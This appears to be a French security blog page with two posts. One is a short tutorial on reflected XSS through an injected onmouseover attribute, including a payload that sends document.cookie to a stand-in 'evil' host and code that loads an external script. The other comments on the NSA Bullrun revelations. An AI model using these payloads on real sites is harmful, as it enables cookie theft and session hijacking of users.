jeudi 26 septembre 2013

XSS, onmouseover et un peu de javascript

Je donne un petit trick que j'aime beaucoup avec du javascript pour faire du XSS.

Soit une page web avec un input type qui permet d'effectuer une recherche. Cet input est réaffiché sur la page de résultat. Cet input type est de la forme:
<input id="search_id" type="text" value="valeur">

Il se trouve que certains caractères sont mal filtrés, comme le " qui permet de fermer la value. Pour un XSS, il suffirait de faire un <script> classique, mais les caractères < et > sont bien filtrés, empêchant d'ouvrir des balises. Mais dans le input, puisque je peux fermer le guillemet de value, je peux alors ajouter d'autres attributs, comme onmouseover="". Et onmouseover permet d'exécuter du javascript.
Et ma requête devient plus intéressante, (je coupe en plusieurs lignes pour la lisibilité:
http://site/query?q=
valeur"onmouseover="javascript:document.location=
'http://evil/cookie='.concat(escape(document.cookie))"

Cela me permet de récupérer les cookies dès que l'utilisateur fait passer la souris dans la zone de recherche (qui par chance fait la moitié de l'écran).
Le site http://evil renvoie par un redirect vers la zone de recherche. Récupérer les cookies, c'est toujours intéressant, mais est-il possible de récupérer n'importe quel script js depuis un serveur externe?

Javascript est mon ami pour le coup, il suffit de modifier la partie javascript (en une seule ligne):
var scriptEl = document.createElement('script');
scriptEl.src = 'http://ha.ckers.org/xss.js';
document.body.appendChild(scriptEl);

et javascript va ajouter lui-même les balises <script> et </script>.
Nice trick, thx NDE.

mercredi 11 septembre 2013

Vous reprendrez bien un peu de bullrun?

Chaque révélation de Snowden fait ressortir les vieilles antiennes comme quoi internet est cassé, que la NSA sait tout, lit tout, contrôle tout et déchiffre tout, et que plus rien ne sera jamais comme avant (ou pas).

On retrouve toujours plus ou moins les mêmes informations, qui semblent toutes tirées des articles cités par Schenier sur son blog. Il y eu beaucoup de spéculations par la suite autour des capacités hypothétiques des mathématiciens de la NSA et de leur puissance de calcul.

Ce qui apparaît comme hautement probable, c'est leur monstrueuses capacités d'écoutes et de stockage. A titre d'exemple, je me souviens d'avoir lu sur un blog la retransmission d'un appel d'offre de la NSA qui souhaitait disposer d'une infrastructure égale à celle d'internet pour rejouer et tracer des attaques 'at scale' .

Mais ceci dit, il n'y a pas grand chose de neuf. La NSA écoute, stocke, déchiffre ce qu'elle peut, ce que tout informaticien un peu versé dans la sécurité connaît (et on peut ajouter que la NSA n'est sûrement pas la seule organisation à écouter, stocker et déchiffrer).

Le gros point négatif à noter concerne les capacités de la NSA à influer sur les choix cryptos des logiciels, comme le dit Schneier: "The math is good, but math has no agency. Code has agency, and the code has been subverted." Il y a trois ans, on avait lu cette histoire (qui avait souvent été qualifiée d'impensable à l'époque): http://marc.info/?l=openbsd-tech&m=129236621626462&w=2 concernant la pile IPsec
d'OpenBSD qui avait été affaiblie. On en lit beaucoup d'autres depuis la sortie de Snowden, comme le G+ de Theodore Ts'o

Je trouve malgré tout deux points intéressants à tirer de cette annonce:
-Certains procédés cryptos ne sont finalement pas si faibles que ça puisque la NSA cherche à mettre des backdoors malgré leur armée de mathématiciens doublée d'une débauche indécente de force de calcul brute. Ce qui signifie qu'une implémentation solide de ces algos sera réellement solide: moralité, si votre algo a fait l'objet d'un amendement de la NSA pour modifier un paramètre ou ajuster une constante, alors c'est qu'il est sans doute fiable :-) (une fois le paramètre ou la constante NSA-compliant retiré bien entendu)
-Je lis beaucoup de réflexions des cryptologues autour des algos de chiffrement: qu'est ce qu'un IV fort, faible, comment s'assurer que le RNG est fiable, comment sont choisis les paramètres des courbes elliptiques, etc.. ce qui ne pourra que profiter à la sécurité générale des communications. Le message sur openBSD avait été l'occasion à l'époque de refaire une passe complète sur la stack IPsec ce qui n'est jamais mauvais.

Pour la suite, on attend les prochaines révélations. Ca continuera peut-être sur les écoutes, ça partira peut-être sur les APT menés par la NSA.

---
A lire, en lien avec le sujet: http://www.bortzmeyer.org/crypto-protection.htmlhttp://www.bortzmeyer.org/crypto-protection.html